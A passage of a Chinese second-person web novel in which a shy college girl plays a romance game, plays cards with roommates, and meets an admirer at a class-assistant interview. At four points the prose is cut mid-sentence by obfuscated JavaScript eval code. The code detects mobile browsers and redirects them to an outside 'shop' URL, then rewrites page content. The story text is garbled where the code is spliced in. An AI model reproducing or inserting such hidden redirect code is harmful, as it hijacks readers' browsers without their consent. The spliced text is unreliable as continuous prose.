你没想到,他竟然在这种情形下,将这句话说出了口。 洛骁将你拉到身后,咬牙道:“洛霖,你知道你在说什么吗?” 洛霖坚定道:“我知道。” “你知道,呵,你知道……”洛骁冷笑道:“你如果真的知道,就不会说出这种为世俗不齿,令父母蒙羞的话。” “洛骁,我已经错过一次了。至于爹娘那边,我会亲自去解释的。” “你要去解释?解释什么?解释当初你之所以和小春解除婚约,完全是看在我快死了的份上,现在我好了,活过来了,你就要把她从我身边夺走,是吗?” 洛霖不语。 洛骁往后踉跄一步。 “洛霖,你真是我的好大哥。为了我,你竟连心爱的女人都肯放弃。可既然你这么好,为什么不一直好下去呢?为什么,非等到我感觉我的生活有所好转的时候,又把这一切打碎……” 洛骁琥珀色的眼睛逐渐转暗,如阳光破碎一地。 洛骁看向你,“小春,你爱过我吗?” 风水轮流转,这问题又轮到了你。 准确来说,你谁都不爱,你就是个破玩游戏的。 好在,自洛霖向你说出“我爱你”这三个字后,你的任务就完成了,你不用回答洛骁的问题,眼前的画面就逐渐淡去。 你本轮的完成度并没有前两次高,只得了个百分之七十五,距离升至Lv.6还有一点距离。 退出游戏后,你躺在床上,还在想洛霖和洛骁的剧情。 你最终得出个结论,还好这只是攻略游戏里的一段背景,不是什么小说电视剧,不然你和洛霖、洛骁都逃不过被喷的命运。 两轮游戏下来,你的精力被真的被榨得一滴不剩,手机一放,很快便陷入了梦乡。 再醒来,已经是晚上七点。 宿舍里没开灯,昏暗暗的,偶尔能听见许曼婷在极低的桀桀偷笑。 许曼婷就睡在你对床,你掀开床帘就能看见她在床下的书桌前,抱着平板不知在看什么。 你喊了许曼婷一声,她戴着耳机没听见,你又大声喊了她一次,这次她听见了。 许曼婷摘下耳机,擦了擦眼角笑出的泪,“小春,你醒啦,是不是我刚刚动静太大,把你吵醒了?” 你摇摇头,“没有,我是睡到自然醒的。她们两个呢,不在吗?” 你们是四人寝,你说的“她们两个”是指另外两个舍友。 “柠柠跟念禾最近不是参加了个舞蹈社么,六点不到就练舞去了。” “噢……” 说起社团,你大一的时候也参加过文学社的面试,但没通过,后面也没再面试其他的了。现在整个宿舍,就你和许曼婷是无事一身轻。 许曼婷还好些,她性格热情开朗,在学校有不少知己好友,隔三岔五的就会约着一起到外面玩。 而你除了宿舍的人,甚至跟本班的同学都不太熟络,每天就过着宿舍-教室-饭堂这样三点一线的生活。其实许曼婷也不是没有试图把你拉进她的小团体过,上周放小长假,她和她的朋友要到学校附近的小岛玩,也喊上了你,但你拒绝了,理由是跟不熟的人说不上话。但真正的原因其实是你没那么多钱。 那时候,你忽然懂得,有时候想参与到一段人际关系中,单单有人是不够的。 许曼婷关上平板,伸了个懒腰,“你要睡醒了的话,要不咱们去吃个饭?” 一觉睡醒,你还感觉不到什么饿,但还是点了头,“好。我们去吃什么?” 许曼婷想了想,“要不到学校外面的步行街去逛逛?” “也行。” “开电驴去还是走路?” “走路吧。” *** 一周后,下午,是节体育课。 大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127380|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 学里的体育课是可以选课的,不过好的课都要靠抢。 很不幸的是,你和许曼婷抢到了个足球课。 每节课必不可少的绕操场跑一圈后,老师就让你们自己两两组队,练习双人传球去了。 你和许曼婷一组。 老师在课上有教过传球脚法,但你俩都学艺不精,与其说是在练习,不如说是在乱踢一通。 趁着老师走远,许曼婷和你说,过几天有个班助竞选,要不要一起参加。 “我都行。”你说。 “那我就把咱俩的名字一块儿报上去。” 你问她这个班助竞选的流程是怎么样的,许曼婷说:“就很简单,报名,面试,面试的人是学生会的,还有几个老师,他们会问一些问题,根据你的表现打分,最后综合下来看看选哪个。” 你点点头,又问:“你怎么突然想着要去竞选班助了?” “为了攒学分呗。咱们学校不是有规定吗,毕业之前得攒够3分,不然的话不给毕业。虽说这也就是个流程啦,我听那些师兄师姐说,学分这东西学校一般都会放点水,不会卡得太死的。但下学期咱们不也大三了么,提前做点准备还是好的。” “只要当上了班助就有学分加?” “能加一点,学期末如果能评上奖的话加得更多。” “这样……” 你虽然是和许曼婷约定了一起去参加班助面试,但心底里你认为自己能被选上的概率不大,你觉得许曼婷倒是有很大可能。 下午太阳很大,没踢多久,你和许曼婷都累了。 许曼婷苦着脸道:“真是羡慕柠柠、念禾那俩死丫头,一个抢到了太极,一个抢到了瑜伽,都是在室内的。就咱俩手黑,蹲守到凌晨,就抢了个踢足球,每次上课都得抹半管防晒,简直梦回军训。” 你满头大汗,连呼出的气都是热的。 也不知是不是过于气愤,导致许曼婷传球给你的时候,一个使劲,直接把球踢出了数米远。 你傻眼了。 许曼婷也傻眼了。 “不好意思不好意思,”许曼婷连忙道歉,“刚刚太上头了,我去把球踢回来。” 你哭笑不得,“不用,我去吧。” “别吧,我踢的让我去。” “没事,我走过去就行,正好我也踢得累了。” 许曼婷说:“那我去拿水,踢这么久快渴死了。” 你点头说好。 许曼婷这一球踢得很猛,球已经飞出了场外,你在走去找球的路上,经过不少人。 这些人跟你都不是一个班的,甚至可能不是一个院的。 一个人走在陌生的人堆时,你总是想掏出手机看,或者戴上耳机,哪怕不听歌都好,这让你可以假装你是沉浸在自己的世界里。如果什么都不做的话,你会莫名的感到有点尴尬。尽管并没有人注意到你。 球滚到了草丛里,还隔着几步距离的时候,你小跑过去把球捡了起来。 你捡完球就准备回去找许曼婷,这时,却有个鼻高目深,带点混血感觉的一米八几大高个男生跑到你面前。 “同学,能加下你微信吗?” 9. 不了,谢谢 你看了看周围,除了你好像就没谁了。 你指了指自己,“你在问我?” 男生点头道:“对。我叫沈砚川,是xx级信息工程学院计算机系的,我想加下你的微信,可以吗?”他声线酥酥的,叫人听得发麻。 你觉得不可以。 你撂下一句,“不了,谢谢。” 说完,拔腿就跑。 回去后,许曼婷问你:“你跑那么快干嘛,不是说踢球踢累了吗?” 你不太淡定,“刚刚,有个男的,问我要微信。” 许曼婷立即兴奋道:“那你给了吗?” “没给。” 许曼婷更兴奋了,“为什么?那男的长得不帅?” 你呃了声,“也不是,还好吧。” “那你为什么不给他?” “就是,没反应过来,下意识就拒绝了。” 许曼婷问:“那你怎么拒绝他的?” “我说,”你两眼望天,“不了,谢谢。” 许曼婷哈哈大笑,“可以啊小春,你连拒绝人都拒绝得这么有个性,我估计那男的回去之后要吃不下饭了。” 你迟疑道:“不至于吧。” “如果他心脏够强大,那就不至于。”许曼婷把水杯递给你,“话说,他有跟你讲他叫啥名吗?” “有。他说他叫沈砚川,计算机系的。” “沈砚川,还挺好听,像言情小说里的男主名字。” 你想了想,“是挺好听的。” 许曼婷搂过你肩膀,“咱家小春还没谈过恋爱吧?” “没。”你们宿舍就你没谈过。 许曼婷挤眉弄眼,“其实吧,我觉得要下次还有机会的话,你可以试着跟这个叫沈砚川的认识一下。” “哪儿还有机会?”你不理解。 许曼婷弹了一下你额头,“你笨呀,他跟咱们一样都是上的足球课,虽说不是天天都能见着,但一起上课的机会也不少啊。” 你觉得不可能,“我都拒绝他了,他不可能再来找我的。” “万一呢?” “那到时候再说吧。” “行吧。” 你在游戏里还好,但在现实世界里,就跟男生不怎么相处得来。 许曼婷曾评价说你社恐,但你觉得不是,你跟你的几个舍友就相处得挺好的。当然,也有可能是她们本来就很好相处。 快下课的时候,邹柠,也就是柠柠,在你们的美女驻凡大使馆宿舍群发了信息。 柠檬不酸:@小春@元气少女锅的钢你俩下课没? 元气少女锅的钢:在休息了,老师还没让走。 柠檬不酸:那你俩回来路上到超市买几瓶酒呗? 元气少女锅的钢:干嘛,晚上有节目? 柠檬不酸:手痒,想打牌了。 许曼婷转头看你,“柠柠说今晚打牌,你打吗?” 你们买了副扑克牌在宿舍,偶尔会一起打,都是不赌钱的那种。 等你说打之后,许曼婷才又回复。 元气少女锅的钢:行。既然都买酒了,不来点儿薯片瓜子儿啥的? 柠檬不酸:[奸笑]禾老板她对象给她买了个零食大礼包,想吃啥都有。 元气少女锅的钢:好家伙,改天我得把念禾她供起来膜拜才行,下辈子都指望她过日子了。 元气少女锅的钢:话说回来,今天足球课上,有个男的问咱小春要微信了噢。 柠檬不酸:!!!! 柠檬不酸:@小春咋回事,快说说! 禾禾呵呵呵:+1 元气少女锅的钢:可以啊陈念禾,一有八卦就把你炸出来了是吧? 禾禾呵呵呵:[嘘]你别说话,我要听春儿说。 小春:曼婷不让我讲。 柠檬不酸:咋回事你许曼婷!有八卦还不能好好分享了是吧! 元气少女锅的钢:急啥,八卦这种东西就是得留到后面说,不然打牌的时候不就干瞪眼了。 柠檬不酸:最讨厌你这种说话说一半的人了[怒火] 元气少女锅的钢:嘻嘻~ 禾禾呵呵呵:许曼婷故意的。鉴定完毕。 柠檬不酸:+1 …… 你从小就是个不大出彩的人,被人评论最多的就是文静。 大一开学前,你其实是怀揣着要改变自己的决心的。你给自己制订过计划:首先,要主动交朋友;其次,要多参加社团活动,扩大交际圈;最后,要变得更开朗些。 这三个计划,你不能说完全没做,只能说做了,但只做了一点。 主动交友这块,你成功的和三个舍友打成一片。 多参加社团活动,你主动去面试了文学社,奈何创业未半而中道崩狙,后面就没再尝试过了。也算有个开头。 变得更开朗些,嗯,你觉得你在舍友面前,还是算开朗的。 “同花顺!有没有人要,没有我就过了啊!” 邹柠今晚手气很好,开局飞机,随之同花,一串操作下来,手里只剩两张牌了。 陈念禾喝了口酒,“你妹的,这么打谁能得过你,赶紧过过过。” 你的牌都很小,“过。” “都过了?都过那我就先走一步啦?”邹柠嘿嘿笑道。 “我都还没说话呢,你过什么?”许曼婷一咬牙,也甩下一扑同花顺。 “靠,老许你丫的,从头到尾不说话,敢情在憋大招呢!过!”邹柠道:“你俩认清楚队友了啊,这把我没主牌,许曼婷她打我,手里肯定是有主的。” 你们打的不是斗地主,是陈念禾家乡的玩法,叫做找队友。 这种玩法很新奇。一副牌,四人分,除去大小王,黑桃A和黑桃3是主牌,手握这两张牌的是队友,没分到的两人另组一队。有时也可能出现一个人手上拿两张主牌的情况。 打牌时,每个人要注意区分谁是队友,谁是敌人,必要时,还要出牌替队友挡刀,让队友先赢。 你和陈念禾连邹柠的同花都打不过,更别说许曼婷的了。 打到现在,你俩还一张牌都没出。 好在许曼婷打同花之后,接着就是一张散牌,“梅花4。” 顺时针轮到你,“黑桃6。” 邹柠黑脸,“不要。” “不是吧,黑桃6都不要?”陈念禾嘲笑她,“黑桃7!” 邹柠直接说:“打一张的我都不要。” “她手里的是个对子。”许曼婷紧笃定道:“一个8。” “什么8?” “方块。” 你看了眼手里的牌,决定赌一把,“方块2。” 陈念禾叫道:“靠!方块8你打个方块2?有诈啊!” 你抿唇一笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127381|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“你们要不要,不要的话我就接着打了。” 陈念禾摆摆手,“不要不要,这把手气差得很。” 许曼婷跟了个梅花3。 你接着打红桃3。 你手里最大的牌只有方块2和红桃3,出了这张牌,你就没有大牌了。 现在,能打红桃3的就只有黑桃3。黑桃3一出,就能炸出一个有主牌的人,不出,你就能让邹拧先走。 你手里没有主牌,邹拧也没有,你俩是一队的。 这回,有黑桃3在手的人没出,你松了口气,顺势打下一对7。 许曼婷看出了你的意图,“敢情小春刚刚出这么大牌都是给柠柠铺路呢,她俩一队的,咱们可一定得携手共进退啊!” 陈念禾翻了个白眼,“你丫的!还在这儿装!老娘手里也没主牌,这把你一个人拿了黑桃3和黑桃A!” 许曼婷怪叫,“我手里是有主牌,但只有一张,你别血口喷人!” “我信你个鬼!”陈念禾对你说:“小春已经给你打一对7了,邹柠赶紧把手里的牌出了。” 邹拧面如土色,“不要。” “什么!”陈念禾跳起来,“对7你都不要?” 邹拧捂脸。 你没想到邹拧的牌居然这么小。 原本想着能走一个算一个,至少输得不算太难看,现在好了,邹拧对7都打不过,你手里也没大牌了,这下你们两个都得交代在这儿了。 牌继续打。 你打对7。 邹柠过。 陈念禾对8。 许曼婷一边嘀咕着“怪了怪了”,一边打下一对J。 对J大了,没人要,许曼婷又出了个散牌方块5。 你随了个红桃5。 原以为跳到陈念禾,结果邹柠出了个黑桃5。 陈念禾挑眉,“把手里的对5都拆了?方块7。” 这牌面让你感觉到有些不对。 许曼婷也感觉到了,她很谨慎的打下一张方块A。 你要不起,这时,邹柠竟甩下一张黑桃A。 她手里有主牌! 开始的那句“这把我没主牌”是邹柠放的烟雾弹! 你信以为真,还出牌为她铺路。 邹柠卧底成功,哈哈大笑,“我过了!” 陈念禾靠了句,“邹柠你不去演戏都可惜了。” 邹柠腆脸,“惭愧惭愧。” 抓队友这种玩法一人先过还不算赢,要两个人都先过了才算。 所以现在,邹柠过了,牌继续。 现在局面很清楚了,邹柠和许曼婷一队。 你和陈念禾一队。 可惜的是,前面你的大牌都打了出去,陈念禾这局手气又委实太差,导致最终许曼婷先过,这局你们输了。 这局打得比狼人杀还刺激,打完后,你们又嬉闹了很久才开始下一局。 洗牌的时候,陈念禾突然想起来,问:“不是说今天有人问小春要微信吗,怎么样,给他了吗?” 你摇摇头,“没给。” “为啥?长得不帅?” “一时没反应过来就拒绝了。” 邹柠凑上来,贼兮兮的,“咋拒绝的啊?” “欸!这题我会!”许曼婷笑着说:“咱春拒绝人拒绝得可干脆了,直接一句‘不了,谢谢’就把人打发了。” 10. 面试班助 “我去,可以啊春儿,”邹柠拍拍你肩膀,“这么个拒绝法,不得让那男的回去之后彻夜难眠啊。” 你还没说话,陈念禾又问:“名字知道不?” 你说:“沈砚川。” 许曼婷补充,“计算机系的” 陈念禾嘶了声,“这人名字我好像在哪儿看到过。” 邹柠摸摸下巴点头,“我也觉得。” 陈念禾一拍邹柠,“我想起来了,就那天你刷表白墙跟我说的那个!” “噢噢噢!”邹柠立马掏出手机,“就他!我知道了!老上表白墙的那个!” 邹柠把手机怼到你面前,“春儿,你看,是不是他!” 你看了眼,表白墙上挂了张一个男生打篮球时的照片,不是正脸,但他穿着深蓝色球服,跃起在半空的身姿却仍旧耀眼夺目。 发帖人在照片底下写道:今天跟舍友去看乡ba,一到篮球场就被x市的10号球员帅了一脸,有宝子知道他是哪个系的吗?顺便一问,他有对象吗? 你们学校来自不同地区的学生都建立有各自的同乡会,平时除了能在一起聊天外,还可以在群里拼车回乡,有兴趣的还能加入乡会建立的篮球队。 每年大概八九月份的时候,各乡会间就会举行比赛。老美有nba,种花有cba,乡会就整个乡ba。 这个沈砚川,和你是一个地方的,你们是老乡。 看完全部的你不大确定说:“应该……是吧?” 邹柠道:“什么叫应该是吧?” 你想了想,“我今天碰到的那个人确实叫沈砚川,也确实长得和照片上一样,可是我想不通他为什么会跑来问我要微信。” 邹柠没明白,“什么意思?” “猪脑子!”陈念禾拍了邹柠后脑勺一下,“春儿的意思就是,这叫沈砚川的男的太耀眼了,整得跟学院明星一样,春儿觉得这种人不大可能会问她要微信,所以不确定自己今天碰到的那个到底是不是照片上的那个人。” 许曼婷一锤定音,“简单来说,就是小春对自己不自信。” 你不好意思的点了点头。 邹柠恍然,“嗐!这有什么不自信的,要我说小春你就该自信点!学院明星又怎么了,又不是神,每个人身上都有自己的闪光点,说不定就是你的某种特质吸引到了他呢?” 你想到自己今天下午,在操场上被太阳晒得浑身大汗的样子,实在找不出自己身上有什么吸引人的特质。 陈念禾问:“你们上那么多节体育课了,就从没发现过沈砚川这号人物?” 许曼婷苦着一张脸说:“别提了,我们一上课就是绕操场跑一圈,然后就是各种练球,全程都在大太阳底下,一有休息时间就跑到阴凉的地方苟延残喘,哪还有心情去关注别人。” 你说:“我一般走路都不看人的。” “行吧。”陈念禾理牌,“要有后续的话记得告诉我。” 牌接着打。 今晚,你们玩到快三点钟,才各自睡去。 …… …… 不同于小说影视,现实的大学生活并没有那么有趣,当然,也可能是只有你的大学生活是这样。 你曾经试图找出高中与大学的不同之处。 第一,没有早读和晚自习,你不用再六点钟爬起来,也不用晚上十点才回宿舍,大学的课程相对轻松了很多,不仅上课时间改为了八点,老师也不再耳提面命的督促学生。 如果胆子够大的话,还可以逃课不去,只要别倒霉碰上点名就好。 第二,没有了沉重的学习压力,校园生活丰富了很多,比如各类层出不穷的乡会、部门、社团啦,只要愿意参与,就能找到很多志趣相投的人。 第三…… 你开始有点说不上来了。或许人总是这样,欲言已忘语。 不过,对你来说,你的高中和大学并没有什么不同。 首先,你还是比较乖的,你不逃课。其次,你没什么社团活动。最后,高中的时候,你的目标是考个好大学,而上大学之后要做什么,你反而不大清楚了。 这么说来,你还不如上高中时有目标。 “你就穿这样去面试班助啊?”许曼婷将你上下打量了一遍,摇摇头说:“这肯定不行。” 今天是你们去面试班助的日子,临近出发时,许曼婷对你的穿着发出质疑。 你低头看了看自己,牛仔裤,polo衫,很正常的穿着。 “为什么不行?”你不解。 “你起码换件裙子化个妆什么的嘛,这样子面试的时候,能加点印象分呢!” “没必要吧……”只是面试班助而已。 许曼婷颇为老道的说:“这你就不懂了吧,现在可是个看颜值的社会,我们部门那些人招新的时候,要是碰上个长得好看的,那能多加几分呢!如果碰上的是个校花校草级别的,那好了,直接面试,追着叫他进部门,生怕给别人抢走。” 你眨眨眼,“那这样的话,我都不用去面试了。” “哎呀,不要这么说嘛!来来来,我给你好好打扮打扮,保准你叫人眼前一亮!” “不要。”你拒绝。 “为什么?” “好麻烦。” “不麻烦不麻烦,老奴今儿个亲自伺候您,不劳您动一根手指头。” “面试时间快到了。”你又抛出第二个理由。 许曼婷看手机,“还有四十分钟呢,来得及。我今天借了师兄的小电驴,弄好咱就直接开车过去,很快的!” “我……”你找不出别的理由了,只好求助舍友,“柠柠,救我。” 邹柠跟人五排开黑呢,战况激烈,她只能抽空给你投了个爱莫能助的眼神,“许曼婷她是脑子抽了,你认命吧。” 陈念禾出去约会了,你彻底没了外援,只能任由许曼婷上下其手。 许曼婷其实也没对你做什么,就套了件她的白色连衣裙,给你化了点淡妆,顺便把你脚上的帆布鞋换成了水晶凉鞋。 许曼婷对她的成品很满意。 你看着镜子里的自己,“好像个语文老师。” 许曼婷收起笑脸,一巴掌拍你后脑勺,“快点走了,要不真迟到了。” 匆匆赶到现场,屁股还没坐热,许曼婷就被叫到了号。 班助面试分为面试室和等候室,人一来就先在等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127382|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 候室,等叫到号了就过去面试室就好了。 许曼婷的号比你靠前很多,等她面试完,估计还要在这等你一段时间。 你有点紧张,在想着待会儿会被问到什么问题。 正想着呢,一个人坐到了你旁边的位置,有些紧张的低声说了句,“hi。” 你扭头看去,是张带点混血感的俊脸,你轻轻皱了下眉,“你……” “沈砚川。”他脸颊微红,“上次体育课,我向你要微信,还记得吗。” 你当然记得,只是没想到会在这里碰见他。 你点头说:“你来面试班助?” “嗯,你也是吗?” “对。” 沈砚川咧嘴笑道:“真巧。” 你说:“是啊。” 随后无言。 你不知道该说什么。你和他仅有过一面之缘。 沈砚川踌躇半晌,“我突然过来,是不是太冒昧了?” “啊?”你没懂他意思。 沈砚川又说:“我坐在你旁边,你会介意吗?” 你说:“不介意啊。位置本来就是让人坐的。”大不了等许曼婷回来,你再换个位置就是了。 沈砚川松了口气,“那就好。” 顿了顿,他又小声问:“能告诉我你的名字吗?” “林小春。” “小春。”他把你的名字放在嘴里念了一遍,“你名字真好听。” “很普通吧。”你回想道:“我名字和香港明星撞了,以前还有人叫我山鸡哥呢。” 沈砚川皱眉道:“他们乱说的。” 你笑笑,“没事,山鸡哥这名字也挺威风的。” 沈砚川被你逗笑了,又问:“你是哪个专业的?” “动漫设计。” “那你画画很好吧?” 你惭愧,“其实……一般。” 沈砚川立马说:“没事,我专业课也不好。” “谢谢你安慰了。” “真的,我没骗你,”沈砚川像是在做什么保证,“我专业课也很差。” “呃……”你眨巴眼睛,“那我们,同是天涯沦落人?” 聊天聊了好一会儿,你见许曼婷还没回来,便打开手机想发个信息问问,没想到才打开,就先收到了许曼婷的信息。 元气少女锅的钢:宝宝,我面试完了,看你跟人聊得热火朝天,就不打扰你先回去了哈~ 尽管没亲耳听见她的声音,你还是从文字中感受到了许曼婷贱兮兮的语气。 随后,你又打开你们的宿舍群。 好家伙,许曼婷这厮竟不知道什么时候从窗外偷拍了一张你和沈砚川聊天的照片,还把它公然发在了群里。 一石激起千层浪,群里瞬间发起了激烈的讨论。 你已经能想象到待会儿回到宿舍会受到怎样的盘问了。 你心如死灰的熄了屏。 又坐了会儿,沈砚川去面试了。 沈砚川之后又面了两个人,才终于轮到你。 你有些紧张的步入面试室。 面试官坐一排,你坐他们对面。 你屏气敛息,正襟危坐。 11. 第四关 过了半分钟。 一个面容俊秀的男生轻咳了一声,说:“这位同学,请你自我介绍一下。” 你脑子一炸,完了,太紧张了,连上来自我介绍这基本流程都忘了。 你红透了脸,自我介绍的时候都结结巴巴的。 那男生似乎看出了你的窘迫,微微笑道:“不用紧张,把这当做是普通聊天就好。” 你点头,“好。” 面试流程很简单,自我介绍完了之后,就由面试官们提问,问答完毕就可以走了。至于面试结果,等他们内部讨论完后,会把结果发到手机上的。 你出了面试室的门,对着外头的黑夜叹了口气。 按照你今晚的表现来看,当上班助是没什么可能的了。 刚走出两步,沈砚川便迎面走来,“小春,面试得怎么样?” 你诧异,“你还没走?” 沈砚川有些不好意思道:“我在这里等你。” “等我?”你刚想问为什么,又想到他上次问你要微信的事情,就没再把那句为什么说出口了。 你迟疑的哦了一声。 沈砚川问你面试得怎么样,你说:“我,表现得不是很好,刚刚进去连自我介绍都忘了,估计也当不上班助了。你呢?” 沈砚川说:“我也一般。” 他可能是想安慰你,所以才这么说的。你说:“你应该比我好吧。” “没有没有,”沈砚川连忙道:“其实我也答得乱七八糟的,他们问的好多问题我都答不上来。” 你笑弯了眼睛,“那咱们今晚有两处同病相怜的地方了。” “是啊,真是缘分。”沈砚川说。 你们一起下了楼,男女宿舍分在学校的东西两侧,并不顺路,你便同沈砚川说:“我先走了,拜拜。” 沈砚川却说道:“别,我和你一起走吧。” 你疑惑的看向他。 沈砚川憋了会儿,说:“我有个快递在那边,刚好顺路。” “噢。”你不疑有他,“那一起走?” “好!”沈砚川回答得很快。 晚风微凉,拂面而过的风也轻轻吹起了你的裙摆。 到了外面,沈砚川的话反而没那么多了,你们有一搭没一搭的聊着,不知不觉间就到了女生宿舍楼下。 你准备上楼了,沈砚川还傻站着。 “你不是要去拿快递吗?”你问。 沈砚川如梦初醒,“噢,噢!我是要去拿快递,差点忘了。” “那你去拿快递,我先回宿舍了?” “好。”沈砚川应着,等你要走了,又把你叫住,“诶,小春!” 你停住看他。 路灯下,沈砚川红着脸,声音很小,和表白墙上那个肆意打球的形象相去甚远。 “我,能加一下你微信吗?” “呃……” 这是他第二次问你了。 沈砚川见你似乎有点迟疑,立马解释说:“我,我没别的意思,就是想跟你认识认识,做个朋友,平时聊聊天什么的……” “好。” “我……呃,什么?” 你掏出手机,“不是加微信吗,你加我还是我加你?” 沈砚川哆哆嗦嗦拿出手机,“我,我加你。” 你俩就这么互加了微信。 加完后,你就回了宿舍。 一回到宿舍,果不出你所料,几个早已八卦得嗷嗷叫的舍友瞬间将你团团围住。 首当其冲的当然是许曼婷,“怎么样怎么样,你和那个沈砚川有什么进展没?我刚刚在面试室可都看见了,他和你说话的时候,眼睛可全程都盯在你身上呢!好家伙,你是不知道啊,他那眼神噢,那叫一个深情!” 你面无表情的控诉,“这就是你把我扔下不管的原因吗?” 许曼婷喊冤,“我这哪儿是扔下你不管啊,我明明是在操心你的终身大事,特地为你们留下独自相处的时间好么!” 陈念禾一把拍开许曼婷,“别鬼叫了你!春儿,快说,你今晚和那沈砚川处得怎么样?” 你更面无表情了,“念禾你今晚不是出去约会么?” “是啊!”陈念禾大手一挥,“这不听到你的消息,会也不约赶紧溜回来了嘛!” 邹柠笑嘻嘻道:“是啊是啊,禾老板不仅特地回来听你的一手消息,还带了好多宵夜呢!” 你使劲儿嗅了嗅鼻子,怪不得,一开门就闻到好大一股香味。 你馋了。 陈念禾阴险笑道:“春儿,你赶紧把今晚到战况说说,不然宵夜就别想吃了。” 正中软肋。 你立马说:“其实也没什么,沈砚川也是过来面试班助的,刚好我们就碰到了,然后我们就聊了几句。面试完之后,他刚好要到我们这边拿快递,然后我们就一起回来了,刚刚在楼下的时候我们互加了微信。” “刚好,刚好,哪儿来的这么多刚好。”许曼婷老神在在道:“恐怕他拿快递是假,想跟你多处一段时间是真。” 邹柠哈哈笑道:“为了跟你多相处一会儿,特地绕一大圈到女生宿舍这儿,这沈砚川也真可以啊。” “那微信呢?他说要加你的?”陈念禾问。 “呃……对。” 陈念禾又问:“上次他问你要微信你没给,怎么这次一问就给了,你是不是跟他聊着聊着,嗯?来意思了?” “上次是太突然了,这次,”你想了想,说:“这次我们聊也聊了会时间,再拒绝的话,好像不太好?” “那你对他是没意思啊?” 你又想了想,“不能说有没有意思吧,我只是和他见了两次。” “那就是还没感觉!”陈念禾一锤定音。 你无言以对。 许曼婷又凑上来说:“你们不是加了微信么,让我看看你俩都聊了啥。” 你无奈道:“我们才加微信不到半小时,都还没开始聊呢。” “好吧。”许曼婷八卦之心终于熄灭。 你和舍友一块儿吃了宵夜,又聊了会儿天,便卸妆洗澡去了。 洗完澡,你拿出手机,简单和新加的好友沈砚川聊了几句后,便打开了游戏。 你最近课很满,加上快期末了,各种论文、小组作业纷至沓来,导致你有段时间没玩过游戏了。 今晚,你打算好好放松下。 春日宴,是长公主在每年的立春时节,于皇家园林中举办的一场盛大宴会,凡是京中官员,不论职位高低,不论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127383|196147||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男女长幼,皆可参加。 立春时节,天气还未完全摆脱寒凉,皇家园林中的花卉却依次盛开了许多,有迎春、望春、山茶,还有许多不是本地所有,叫都叫不上名字的。衣着光鲜的男男女女于花草丛间过,欢声笑语不时传来。 你是京中某官员的小女,去岁将近年关时,刚与威远侯家的长子洛霖定下婚约。最近他心有郁结,情绪低落,你要找出原因,并想办法解决。 你这次的攻略对象,又是洛霖。 不知道这是系统的安排,还是你们的缘分,你不由有些感慨。 不过也好,攻略一个已经攻略过两次的人物,总比去攻略一个完全没接触过的好。 起码,你有经验了,不是么? 皇家园林很大,熙熙攘攘的人群中始终不见洛霖的身影,难道他没来参加春日宴? 应该不会,系统既然把你投入到这个地点,就说明洛霖也在其中,只是不知道偷偷跑到了哪个角落。 可惜位面地图在上一关用掉了,不然的话你就能用它来找洛霖的位置了。 你漫无目的的走着,走得麻木了,便停在一丛花前仔细观看。这花有枝无叶,花瓣呈紫色,挤挤挨挨的藏在角落,风过时,细碎的花瓣随风浮动,隐隐飘来一阵淡香。 你忍不住凑过去闻了闻,不由心生喜欢。 “这芫花虽美,闻得久了却容易使人头晕,小姐还是不要太过接近为好。” 身旁忽然有人这么说道。 你转头去看,竟是方鸿渐。他身旁还有个拿着扇子的人,可能是他的朋友。 方鸿渐穿着朴素,衣冠整洁,眉眼仍旧如初,冷冽中带着如柏如松的文人傲骨。 你没想到会在这儿碰见他,难道游戏中的攻略人物是会随机出现的? “先……”你下意识想像上上关那样叫他先生,可意识到在这一关中,你和他还是头一次见面,这么叫或许不大好,又收了口。 这感觉真是奇妙。 方鸿渐还未说话,他身旁的那位倒是先抚扇大笑道:“这位小姐,难道你不认得他是谁么?” 你愣了愣,摇头。 认得是认得,但不是在这个位面认识的。 得知你不认识方鸿渐之后,那位友人又笑了,说:“景行啊景行,这一路走来,哪个人见了你不是拱手祝贺的,如今总算碰上个不认识你的人了。” 你不解。 